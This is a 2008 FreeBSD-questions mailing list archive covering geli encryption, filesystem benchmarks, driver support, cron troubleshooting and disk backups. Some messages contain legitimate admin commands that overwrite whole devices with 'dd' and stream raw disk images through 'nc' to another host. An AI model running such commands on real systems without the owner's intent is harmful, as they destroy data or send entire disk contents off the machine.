2008 at 07:18:08PM +0100, Wojciech Puchar wrote: > >Does anyone know of any recent progress on a 64bit Nvidia Driver? > >there is mention of progress on this page > >http://www.nvnews.net/vbulletin/showthread.php?t=41545&page=24 > > most freebsd users don't need 3D at all, or don't need super-high-speed > 3D. > > so simply don't use nvidia/ati That strikes me as short-sighted, narrow-minded, and self-fulfilling. 1. As long as there is not as much support for 3D accelerated graphics with FreeBSD, people who need 3D accelerated graphics will tend to use other OSes more often. 2. The fact that you apparently have some kind of zealous hatred of the idea of FreeBSD on the desktop doesn't mean there are not legitimate uses for FreeBSD on the desktop -- uses that may even include things like 3D accelerated graphics. Hell, I get better performance for WoW using Wine than I do on MS Windows. 3. There are uses for 3D accelerated graphics that don't even include "desktop" use. Rendering farms come to mind. The more you say "Most FreeBSD users don't need 3D at all, so just use something else if you need 3D," and sweep the problem under the rug, the more likely we are to never have a FreeBSD that offers broad, stable support for 3D accelerated graphics. I would like it if you'd stop trying to convince people that my favorite OS shouldn't be improved. -- Chad Perrin [ content licensed OWL: http://owl.apotheon.org ] Quoth Henry Spencer: "Those who don't understand Unix are doomed to reinvent it, poorly." -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081207/c8d8593a/attachment.pgp From vinny-mail-01+f.questions20081120 at palaceofretention.ca Sun Dec 7 11:59:46 2008 From: vinny-mail-01+f.questions20081120 at palaceofretention.ca (Vinny) Date: Sun Dec 7 11:59:53 2008 Subject: geli authentication algo and newfs weirdness In-Reply-To: <48D45F98.6030504@palaceofretention.ca> References: <48D45F98.6030504@palaceofretention.ca> Message-ID: <493C2B37.7070700@palaceofretention.ca> Vinny wrote: > Hello Everyone, > > I've been reading up on geli and decided I wanted to > use data authentication. This involves the -a switch > on the geli init command. Here's what I've found: > > ===== No authentication (the disk size is correct @ 152G): > > the/root{143}~# geli init da1 > Enter new passphrase: > Reenter new passphrase: > the/root{144}~# geli attach da1 > Enter passphrase: > > the/root{147}~# newfs -N /dev/da1.eli > /dev/da1.eli: 152627.8MB (312581804 sectors) block size 16384, fragment > size 2048 > using 831 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. > super-block backups (for fsck -b #) at: > 160, 376512, 752864, ... > > the/root{148}~# newfs /dev/da1.eli > /dev/da1.eli: 152627.8MB (312581804 sectors) block size 16384, fragment > size 2048 > using 831 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. > super-block backups (for fsck -b #) at: > 160, 376512, 752864, 1129216, ... > > ===== With hmac/sha256 (or any other) authentication > (small disk size 76G) : > > the/root{156}~# geli init -a hmac/sha256 /dev/da1 > Enter new passphrase: > Reenter new passphrase: > the/root{157}~# > the/root{157}~# geli attach da1 > Enter passphrase: > > the/root{159}~# newfs -N /dev/da1.eli > /dev/da1.eli: 76313.9MB (156290900 sectors) block size 16384, fragment > size 2048 > using 416 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. > super-block backups (for fsck -b #) at: > 160, 376512, 752864, ... > > the/root{163}~# newfs /dev/da1.eli > /dev/da1.eli: 76313.9MB (156290900 sectors) block size 16384, fragment > size 2048 > using 416 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. > newfs: can't read old UFS1 superblock: read error from block device: > Invalid argument > > the/root{110}~# geli dump -v da1 > Metadata on da1: > magic: GEOM::ELI > version: 3 > flags: 0x10 > ealgo: AES-CBC > keylen: 128 > aalgo: HMAC/SHA256 > provsize: 160041885696 > sectorsize: 512 > keys: 0x01 > iterations: 67988 > Salt: c708 > > ===== > > Anyone know what I've done wrong? Is data authentication working? > > Thanks! > Vinny > > The eventual solution came from Richard Farr. A few messages later and here are the results: I Wrote; > Hello Richard and Thanks! Sorry for my late reply. > > Richard Farr wrote: >> Hi Vinny, >> >> I had this problem as well when trying to initialize a disk with GELI >> and create slices/partitions/fs. >> >> I believe the problem is caused because the sectors of the newly >> created GELI device still have whatever data was in them from before >> the "geli init" command. Therefore, this data will not have the >> correct mac inside of the sector. It looks like newfs attempts to >> read from some of these unitialized sectors - causing a mac >> verification failure and a read error. In order to fix this, simply >> attach the geli device and then use dd to write to all sectors of the >> device to update them with a correct mac: >> >> dd if=/dev/random of=/dev/da1.eli bs=8M >> >> Once this is done newfs should work like a charm. > Indeed, the results follow, but I'd like to thank you > for the solution. I had habitually used dd on > the raw device before running geli init. That is, > > dd if=/dev/random of=/dev/da2 bs=1m > > Then I'd init it. Didn't occur to me that doing > that on the da2.eli device would solve the newfs > problem. > > The results: > > the/root{120}~# geli init -a hmac/sha256 /dev/da2 > Enter new passphrase: > Reenter new passphrase: > the/root{121}~# geli attach da2 > Enter passphrase: > > the/root{122}~# newfs -N /dev/da2.eli > /dev/da2.eli: 977.0MB (2000876 sectors) block size 16384, fragment size 2048 > using 6 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. > super-block backups (for fsck -b #) at: > 160, 376512, 752864, 1129216, 1505568, 1881920 > > the/root{123}~# newfs /dev/da2.eli > /dev/da2.eli: 977.0MB (2000876 sectors) block size 16384, fragment size 2048 > using 6 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. > newfs: can't read old UFS1 superblock: read error from block device: > Invalid argument > > > > the/root{124}~# dd if=/dev/random of=/dev/da2.eli bs=1m > load: 1.15 cmd: dd 96350 [physwr] 0.00u 30.56s 9% 1668k > 747+0 records in > 746+0 records out > 782237696 bytes transferred in 322.992946 secs (2421841 bytes/sec) > dd: /dev/da2.eli: short write on character device > dd: /dev/da2.eli: end of device > 977+0 records in > 976+1 records out > 1024450048 bytes transferred in 422.242968 secs (2426210 bytes/sec) > > > the/root{125}~# newfs -N /dev/da2.eli > /dev/da2.eli: 977.0MB (2000876 sectors) block size 16384, fragment size 2048 > using 6 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. > super-block backups (for fsck -b #) at: > 160, 376512, 752864, 1129216, 1505568, 1881920 > > the/root{126}~# newfs /dev/da2.eli > /dev/da2.eli: 977.0MB (2000876 sectors) block size 16384, fragment size 2048 > using 6 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. > super-block backups (for fsck -b #) at: > 160, 376512, 752864, 1129216, 1505568, 1881920 > > Success! > > Vinny From prad at towardsfreedom.com Sun Dec 7 12:14:44 2008 From: prad at towardsfreedom.com (prad) Date: Sun Dec 7 12:14:53 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <20081207193517.GA20905@laverenz.de> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <20081207093713.O5433@wojtek.tensor.gdynia.pl> <20081207082932.04a7cf16@scorpio> <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> <20081207191727.V1610@wojtek.tensor.gdynia.pl> <20081207193517.GA20905@laverenz.de> Message-ID: <20081207121431.5dcb37f9@gom.home> On Sun, 7 Dec 2008 20:35:17 +0100 Uwe Laverenz wrote: > Who is "most freebsd users"? > i would think most are interested in running servers or routers or possible scientific applications or engaged in os study and appreciate its simplicity and consistency. i don't think it can compete with linux in terms of some of the bells and whistles that the desktop offers, but imho, a lot of those bells ring out of tune and the whistles result in sore lips. -- In friendship, prad ... with you on your journey Towards Freedom http://www.towardsfreedom.com (website) Information, Inspiration, Imagination - truly a site for soaring I's From roberthuff at rcn.com Sun Dec 7 12:16:41 2008 From: roberthuff at rcn.com (Robert Huff) Date: Sun Dec 7 12:16:48 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <3a142e750812071056l50e8f464oa5169b9f3d107902@mail.gmail.com> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> <11167f520812070853i3b6fa6dei6e5c71669416470@mail.gmail.com> <20081207191727.V1610@wojtek.tensor.gdynia.pl> <200812072150.44361.subbsd@gmail.com> <3a142e750812071056l50e8f464oa5169b9f3d107902@mail.gmail.com> Message-ID: <18748.12071.922727.56603@jerusalem.litteratus.org> Paul B. Mahol writes: > Simple solution: > Pay them or someone to do it for you, or hack it yourself, or > wait for it little longer. Given nVidia has offered to write and maintain a driver ... if we're going this route, the correct solution is to pay someone to make the changes nVidia wants in the kernel. I don't understznd the vm system, but it's possible others might find those improvements useful as well. I'm not prepared to spec the project or organize the contributions; I _would_ probably be willing to make a donation. Robert Huff From eitanadlerlist at gmail.com Sun Dec 7 12:36:28 2008 From: eitanadlerlist at gmail.com (Eitan Adler) Date: Sun Dec 7 12:36:35 2008 Subject: Locked myself out.. AGAIN!! In-Reply-To: References: <4ad871310812070207k2136ea12p9bd6c9be2c0afd0f@mail.gmail.com> <20081207110743.GB50965@ei.bzerk.org> Message-ID: <493C33CA.2020200@gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Michael Powell wrote: > I've never figured out why people seem to always want to play with the > root account the way they do, such as the favorite "I wanna use bash > for root's shell"... Probably because most users are unaware of the harm that it causes. Perhaps someone should add a comment to the top of the passwd file (if there is such a thing as a comment in the file) saying: don't play with root. - -- Eitan Adler GNU Key fingerptrint: 2E13 BC16 5F54 0FBD 62ED 42B6 B65F 24AB E9C2 CCD1 -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk8M8kACgkQtl8kq+nCzNGO5ACfS4dUG+79aswbQoVEFU2y/e7f mxwAn1kVeE8sISKXSYeYcJBkQ97UjH4J =1Kra -----END PGP SIGNATURE----- From ivoras at freebsd.org Sun Dec 7 14:23:54 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Sun Dec 7 14:24:04 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205163206.GC25258@kokopelli.hydra> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> Message-ID: Chad Perrin wrote: > On Fri, Dec 05, 2008 at 12:20:49PM +0100, Ivan Voras wrote: >> af300wsm@gmail.com wrote: >>> Hi, >>> >>> I don't even know if this has been done before, nor do I know for sure >>> if it's a sound comparison. Never the less, someone posted, in response >>> to someone else here just a few days ago, some very nice benchmarks >>> provided by Kris ?Kenneway? I could be wrong on the last name, it just >>> seems to me that's a last name I've seen with Kris frequently (my >>> apologies Kris if I'm wrong). Using the URL that the other poster, >>> posted, I poked around the other *.html files in that directory, but did >>> not find any with FreeBSD pitted against windows. >>> >>> I'm just curious to see how it looks for my own sanity's sake. At work, >>> someone got the grand idea that we should move to Windoze embedded (CE >>> and XPe) and it's been quite discouraging I must say, though I must >>> admit, it's nice to actually know why Windows is ugly underneath. From a >>> programming perspective, it's just not simplistic. Anyway, I digress, >>> I'm just curious to see how things compare to Windows on similar >>> benchmarks to what Kris provided if its ever been done. >> I've done some benchmarking of Windows file system IO (NTFS) using known >> tools like bonnie++, blogbench and postmark under cygwin and the results >> are abysmal. It might be due to cygwin, and it might not. I've used >> Windows Enterprise Server 2003. >> >> You'll probably not find any difference in computational (numeric) tasks >> and fairly bad results in tasks that do a lot of system work. > > While the usefulness of such benchmarks may be suspect, I'd still be > interested in seeing your results. I have a large spreadsheet full of them, but here's a selection. The benchmark is bonnie++: Win2003 R2 NTFS RAID10-15 87 25 113 6425 11990 Ubuntu Server 7.10 ext3 RAID10-15 129 60 167 36114 72562 Ubuntu Server 7.10 JFS RAID10-15 131 64 167 6638 4855 Ubuntu Server 7.10 Reiser3 RAID10-15 130 60 159 30307 35101 Ubuntu Server 7.10 XFS RAID10-15 104 62 164 39 10 FreeBSD 7 UFS+SU RAID10-15 109 43 111 36551 99999 FreeBSD 7 UFS+GJ RAID10-15 50 28 103 52460 46604 FreeBSD 7 ZFS RAID10-15 95 63 180 40522 20260 The first three columns describe the system & RAID (e.g. RAID10-15 means RAID10 created from 4 15 kRPM drives), the next three are write/rewrite/read speed in MB/s, the last two are random files created/deleted. I hope the mailer doesn't destroy the formatting too much. This was on IBM ServeRAID 8k, 256 M BBU cache. (ZFS RAID was not used). FreeBSD UFS generally achieved low performance but it doesn't surprise me - I'd say its disk IO has a lot of performance problems right now. ZFS was very good, but not so much when compared to Linux file systems, especially for writing. I believe XFS was broken in that version of Linux so file creation & deletion was garbage - it's "normal" in more recent versions. File systems were left at default except noatime was turned on where available. One thing where Linux's ext3 really shines is concurrent IO - blogbench (not present in the above table) was really bad in all other OS & file system combination, so after all my results (I have > 1000 of them), I'm really hoping for an ext3/4 port to FreeBSD :) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081207/630bcf0f/signature.pgp From darwinskernel at gmail.com Sun Dec 7 16:14:54 2008 From: darwinskernel at gmail.com (Charles Darwin) Date: Sun Dec 7 16:15:01 2008 Subject: NFS UDP MTU Message-ID: <534160AF-246B-4FF1-8032-A68BA65B73C8@gmail.com> Hello to you all, I have a question about sharing a directory over my subnet. I have users downloading up to 3-4 G per session and obviously speed is crucial. I am thinking of going with UDP (accuracy is not an issue here). What is the best way to go about this? Is NFS the right pick? If so should I use mount_nfs, ar there better utilities available? How about MTU; do I need to tweak the value for MTU on client machines? and if so what is the magic number? Thanks, From wojtek at wojtek.tensor.gdynia.pl Sun Dec 7 16:41:21 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sun Dec 7 16:41:28 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> Message-ID: <20081208013850.R1852@wojtek.tensor.gdynia.pl> > > Win2003 R2 NTFS RAID10-15 87 25 113 6425 11990 > Ubuntu Server 7.10 ext3 RAID10-15 129 60 167 36114 72562 > Ubuntu Server 7.10 JFS RAID10-15 131 64 167 6638 4855 > Ubuntu Server 7.10 Reiser3 RAID10-15 130 60 159 30307 35101 > Ubuntu Server 7.10 XFS RAID10-15 104 62 164 39 10 > FreeBSD 7 UFS+SU RAID10-15 109 43 111 36551 99999 > FreeBSD 7 UFS+GJ RAID10-15 50 28 103 52460 46604 > FreeBSD 7 ZFS RAID10-15 95 63 180 40522 20260 > > The first three columns describe the system & RAID (e.g. RAID10-15 means > RAID10 created from 4 15 kRPM drives), the next three are > write/rewrite/read speed in MB/s, the last two are random files > created/deleted. I hope the mailer doesn't destroy the formatting too could you compare raw device speed between linux and FreeBSD it looks like there is driver problem - low linear speed. > ZFS was very good, but not so much when compared to Linux file systems, ZFS in your benchmart is similar to UFS. From ivoras at freebsd.org Sun Dec 7 16:57:40 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Sun Dec 7 16:57:48 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081208013850.R1852@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> <20081208013850.R1852@wojtek.tensor.gdynia.pl> Message-ID: Wojciech Puchar wrote: >> >> Win2003 R2 NTFS RAID10-15 87 25 113 6425 11990 >> Ubuntu Server 7.10 ext3 RAID10-15 129 60 167 >> 36114 72562 >> Ubuntu Server 7.10 JFS RAID10-15 131 64 167 6638 >> 4855 >> Ubuntu Server 7.10 Reiser3 RAID10-15 130 60 159 >> 30307 35101 >> Ubuntu Server 7.10 XFS RAID10-15 104 62 164 39 10 >> FreeBSD 7 UFS+SU RAID10-15 109 43 111 36551 >> 99999 >> FreeBSD 7 UFS+GJ RAID10-15 50 28 103 52460 46604 >> FreeBSD 7 ZFS RAID10-15 95 63 180 40522 20260 >> >> The first three columns describe the system & RAID (e.g. RAID10-15 means >> RAID10 created from 4 15 kRPM drives), the next three are >> write/rewrite/read speed in MB/s, the last two are random files >> created/deleted. I hope the mailer doesn't destroy the formatting too > > could you compare raw device speed between linux and FreeBSD No, I don't have the system now. > it looks like there is driver problem - low linear speed. I don't think so. It's *very* unlikely a driver can mess up linear speed - it's far more easier to mess up random IO. I don't know why it's so (it might be cause by FreeBSD's tiny MAXPHYS), but it's probably not the driver's fault. I've seen this behaviour with other controllers (including plain SATA). >> ZFS was very good, but not so much when compared to Linux file systems, > > ZFS in your benchmart is similar to UFS. Look at the read speed. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081208/852e0d81/signature.pgp From jstrother9109 at gmail.com Sun Dec 7 18:24:47 2008 From: jstrother9109 at gmail.com (James Strother) Date: Sun Dec 7 18:24:54 2008 Subject: boot hangs on thinkpad x40 Message-ID: <4b2381fb0812071759x1abb562ax334846d6a59db9cc@mail.gmail.com> Hi, I recently installed FreeBSD 7.1-Beta2 on my IBM thinkpad X40. Everything works fine while the system is connected to the dock, but when I boot with the dock disconnected the system hangs. With verbose logging enabled it appears to hang at either acpi_cmbat or acpi_acad (they appear to run in parallel and which prints the last error message appears somewhat random). I've found several threads related to FreeBSD having difficulty with thinkpads that have the second ata enabled, so I've disabled that but am still having the same difficulty. Has anyone seen this behavior before? Any thoughts on how to fix it? Thanks, Jim From wojtek at wojtek.tensor.gdynia.pl Sun Dec 7 18:45:23 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sun Dec 7 18:45:30 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> <20081208013850.R1852@wojtek.tensor.gdynia.pl> Message-ID: <20081208034441.B65436@wojtek.tensor.gdynia.pl> >>> ZFS was very good, but not so much when compared to Linux file systems, >> >> ZFS in your benchmart is similar to UFS. > > Look at the read speed. > > it's faster on that benchmark. but i think low MAXPHYS may be a problem. i changed it to 1MB everywhere. From uwe at laverenz.de Sun Dec 7 20:29:38 2008 From: uwe at laverenz.de (Uwe Laverenz) Date: Sun Dec 7 20:29:45 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081208034441.B65436@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> <20081208013850.R1852@wojtek.tensor.gdynia.pl> <20081208034441.B65436@wojtek.tensor.gdynia.pl> Message-ID: <493CA2D6.80308@laverenz.de> Wojciech Puchar schrieb: > it's faster on that benchmark. but i think low MAXPHYS may be a problem. > i changed it to 1MB everywhere. I've found that increasing vfs.read_max increases read performance quite a bit in bonnie++ benchmarks. sysctl vfs.read_max=32 Uwe From espartano.mail at gmail.com Sun Dec 7 20:42:55 2008 From: espartano.mail at gmail.com (Espartano) Date: Sun Dec 7 20:43:02 2008 Subject: Driver Iwn in FreeBSD 7.1 ? Message-ID: Hi list. Someone know if the driver iwn will be included officially in FreeBSD 7.1 ? -- "Linux is for people who hate Windows, BSD is for people who love UNIX". "Social Engineer -> Because there is no patch for human stupidity" "The Unix Guru's View of Sex unzip ; strip ; touch ; grep ; finger ; mount ; fsck ; more ; yes ; umount ; sleep." "Documentation is like sex: when it is good, it is very, very good; and when it is bad, it is better than nothing." From fernercc at gmail.com Sun Dec 7 22:55:21 2008 From: fernercc at gmail.com (Ferner Cilloniz) Date: Sun Dec 7 22:55:28 2008 Subject: FreeBSD kernel module and sending udp packets Message-ID: <1228696234.4940.1.camel@mobiliare.Belkin> Hello everyone. I need help with documentation concerning how to send a udp or tcp packet from a kernel module. I have found this information for Linux but not for FreeBSD. Please help me. Thank you :) From espartano.mail at gmail.com Sun Dec 7 23:23:25 2008 From: espartano.mail at gmail.com (Espartano) Date: Sun Dec 7 23:23:37 2008 Subject: FreeBSD kernel module and sending udp packets In-Reply-To: <1228696234.4940.1.camel@mobiliare.Belkin> References: <1228696234.4940.1.camel@mobiliare.Belkin> Message-ID: On Sun, Dec 7, 2008 at 6:30 PM, Ferner Cilloniz wrote: > Hello everyone. > > I need help with documentation concerning how to send a udp or tcp > packet from a kernel module. I have found this information for Linux but > not for FreeBSD. > > Please help me. > > Thank you :) I think that you should send this question to freebsd-net list (Networking and TCP/IP with FreeBSD) this is its url http://lists.freebsd.org/mailman/listinfo/freebsd-net -- "Linux is for people who hate Windows, BSD is for people who love UNIX". "Social Engineer -> Because there is no patch for human stupidity" "The Unix Guru's View of Sex unzip ; strip ; touch ; grep ; finger ; mount ; fsck ; more ; yes ; umount ; sleep." "Documentation is like sex: when it is good, it is very, very good; and when it is bad, it is better than nothing." From ivoras at freebsd.org Mon Dec 8 01:29:47 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Mon Dec 8 01:29:54 2008 Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? In-Reply-To: <493AFD81.6020705@polands.org> References: <493AFD81.6020705@polands.org> Message-ID: Doug Poland wrote: > Hello, > > I've got a 7.1-PRERELEASE i386 box with 4 SATA drives configured in a > RAID-10 using gmirror, gstripe, and gjournal. Normally, I use dump and > rsync for periodic backups on this machine, but I suspect that the > gmirror/gstripe/gjournal information is not being backed up. > > If my assumption is correct, how can I perform a "one-time" backup such > that I could do a bare-metal restore? The essence of the question being > I want to preserve not only the data, but also the > gmirror/gstripe/gjournal meta-data as well. > > The only thought that comes to mind is to boot with a 7.1 live > filesystem CD-ROM and "dd" each drive, piping the results to my backup > machine. e.g., > > host# dd if=/dev/ad4 bs=2m | gzip | nc backuphost 12345 > host# dd if=/dev/ad6 bs=2m | gzip | nc backuphost 12346 > host# dd if=/dev/ad10 bs=2m | gzip | nc backuphost 12347 > host# dd if=/dev/ad12 bs=2m | gzip | nc backuphost 12348 > > Any thoughts, suggestions, caveats? I hope you understand the problems with this kind of backup procedures. Assuming that ad4,6,10,12 are the drives from which you created your RAID-10, everything is "backed up", including GEOM metadata. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081208/c991444b/signature.pgp From wojtek at wojtek.tensor.gdynia.pl Mon Dec 8 03:38:34 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 8 03:38:41 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <493CA2D6.80308@laverenz.de> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> <20081208013850.R1852@wojtek.tensor.gdynia.pl> <20081208034441.B65436@wojtek.tensor.gdynia.pl> <493CA2D6.80308@laverenz.de> Message-ID: <20081208123800.I70518@wojtek.tensor.gdynia.pl> >> changed it to 1MB everywhere. > > I've found that increasing vfs.read_max increases read performance quite a > bit in bonnie++ benchmarks. > > sysctl vfs.read_max=32 what exactly this option do? read_max 32 UFS blocks? MAXPHYS blocks? From ivoras at freebsd.org Mon Dec 8 03:49:32 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Mon Dec 8 03:49:40 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081208123800.I70518@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> <20081208013850.R1852@wojtek.tensor.gdynia.pl> <20081208034441.B65436@wojtek.tensor.gdynia.pl> <493CA2D6.80308@laverenz.de> <20081208123800.I70518@wojtek.tensor.gdynia.pl> Message-ID: Wojciech Puchar wrote: >>> changed it to 1MB everywhere. >> >> I've found that increasing vfs.read_max increases read performance >> quite a bit in bonnie++ benchmarks. >> >> sysctl vfs.read_max=32 > > what exactly this option do? > > read_max 32 > > UFS blocks? MAXPHYS blocks? UFS blocks. The default is 8 == 128 kB == MAXPHYS. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081208/6ad80ff2/signature.pgp From derek at computinginnovations.com Mon Dec 8 03:55:47 2008 From: derek at computinginnovations.com (Derek Ragona) Date: Mon Dec 8 03:55:54 2008 Subject: what script is whacking root's files In-Reply-To: <87tz9jzvy3.fsf@kobe.laptop> References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> <87tz9jzvy3.fsf@kobe.laptop> Message-ID: <6.0.0.22.2.20081208055153.02762670@mail.computinginnovations.com> At 11:33 AM 12/4/2008, Giorgos Keramidas wrote: >On Thu, 04 Dec 2008 06:30:13 -0600, Derek Ragona > wrote: > > /root is on /dev/da0s1a > > > > This particular server is running in a VM on a vmware esx 3.5 server. > > The server runs fine, but every so often the dot files disappear for > > root. I have not found the behavior to follow a reboot, but some period > > of time. Hence my suspicions it was a periodic script. > >Check your crontab jobs then. > > * Do you have any local changes to the system crontab in > `/etc/crontab'? If yes, what are those changes, and what do the > scripts or other commands they run look like? > > * Do you have a user-specific crontab file for `root' in > `/var/cron/tabs/root'? If yes what does it contain? > >_______________________________________________ Thank you to everyone who made great suggestions. I found the errant script, and it was running out of a cron entry to clean up old mailscanner files. It seems if the directories in the script didn't all exist, and a cd failed, it left the script running in /root. I have since corrected the script to test for the directories existence first. But this was a case of "can't see the forest for the trees" and I do appreciate all the help and suggestions. -Derek -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From kernel at webrz.net Mon Dec 8 04:03:31 2008 From: kernel at webrz.net (Jos Chrispijn) Date: Mon Dec 8 04:03:39 2008 Subject: PHP 5 | pcre extention Message-ID: <493D0D11.5010605@webrz.net> Dear all, Can someone tell me why, as of php 5.2.7, pcre extension is distributed with the core php5 package, and not as a standalone module anymore? Jos Chrispijn From Johan at double-l.nl Mon Dec 8 04:10:52 2008 From: Johan at double-l.nl (Johan Hendriks) Date: Mon Dec 8 04:11:00 2008 Subject: PHP 5 | pcre extention References: <493D0D11.5010605@webrz.net> Message-ID: <57200BF94E69E54880C9BB1AF714BBCB5DE33C@w2003s01.double-l.local> >Dear all, >Can someone tell me why, as of php 5.2.7, pcre extension is distributed >with the core php5 package, and not as a standalone module anymore? >Jos Chrispijn No idea but do not use 5.2.7 because of a security issue (see php.net) So stick to 5.2.6 till 5.2.8 is released. No virus found in this outgoing message. Checked by AVG - http://www.avg.com Version: 8.0.176 / Virus Database: 270.9.15/1835 - Release Date: 7-12-2008 16:56 From wojtek at wojtek.tensor.gdynia.pl Mon Dec 8 04:12:50 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 8 04:12:59 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> <20081208013850.R1852@wojtek.tensor.gdynia.pl> <20081208034441.B65436@wojtek.tensor.gdynia.pl> <493CA2D6.80308@laverenz.de> <20081208123800.I70518@wojtek.tensor.gdynia.pl> Message-ID: <20081208131230.U70603@wojtek.tensor.gdynia.pl> >> >> what exactly this option do? >> >> read_max 32 >> >> UFS blocks? MAXPHYS blocks? > > UFS blocks. > > The default is 8 == 128 kB == MAXPHYS. > > so you have to raise MAXPHYS too. From ivoras at freebsd.org Mon Dec 8 04:21:28 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Mon Dec 8 04:21:35 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081208131230.U70603@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205163206.GC25258@kokopelli.hydra> <20081208013850.R1852@wojtek.tensor.gdynia.pl> <20081208034441.B65436@wojtek.tensor.gdynia.pl> <493CA2D6.80308@laverenz.de> <20081208123800.I70518@wojtek.tensor.gdynia.pl> <20081208131230.U70603@wojtek.tensor.gdynia.pl> Message-ID: <9bbcef730812080421t13fcde13ha524863bff1e6d42@mail.gmail.com> 2008/12/8 Wojciech Puchar : >>> >>> what exactly this option do? >>> >>> read_max 32 >>> >>> UFS blocks? MAXPHYS blocks? >> >> UFS blocks. >> >> The default is 8 == 128 kB == MAXPHYS. >> >> > so you have to raise MAXPHYS too. No, it's orthogonal to MAXPHYS. From subbsd at gmail.com Mon Dec 8 05:05:32 2008 From: subbsd at gmail.com (Ole) Date: Mon Dec 8 05:05:41 2008 Subject: source data for host CPU temperature Message-ID: <200812081605.22371.subbsd@gmail.com> Hello maillist, Whether there is a unique, a general method of fetching of statistics on CPU temperature in FreeBSD. The general method - is available in view of excluding vendor-specific healh-agents with their vendors lock-in API. As i know some way for this: smb(4) (for old PC?), coretemp(4) (this is for new and only Intel hardware ?) and ipmi(4) if available, so each machine customize for temp statistics throuch individual setup for source data? And it is necessary to prefer what data if it is some given. For example 2 commands on host give diffrent result: (With 'ipmitool sensor |grep -i temp) -- Ambient Temp | 26.000 | degrees C | ok | na | na | na | 32.000 | na | 39.000 CPU 1 Temp | na | degrees C | na | na | 74.000 | -128.000 | -48.000 | na | na CPU 2 Temp | na | degrees C | na | na | 74.000 | -128.000 | -48.000 | na | na CPU 1 OverTemp | 0x0 | discrete | 0x0080| na | na | na | na | na | na CPU 2 OverTemp | 0x0 | discrete | 0x0080| na | na | na | na | na | na -- << i get 74C on my CPU1 and CPU2 (with coretemp(4) i get individual per-core sensor) % sysctl -a |egrep -E "cpu\.[0-9]+\.temp" dev.cpu.0.temperature: 38 dev.cpu.1.temperature: 45 dev.cpu.2.temperature: 42 dev.cpu.3.temperature: 69 ipmi/coretemp facility is fetching information for CPU from diffrent sensors? And how much correctly with coretemp(4) to receive the general temperature (one number as in Bios) if average(sum(core temperature)) / (num of core) ? Thanks in advance! From michael.copeland at gmail.com Mon Dec 8 05:30:59 2008 From: michael.copeland at gmail.com (michael) Date: Mon Dec 8 05:31:06 2008 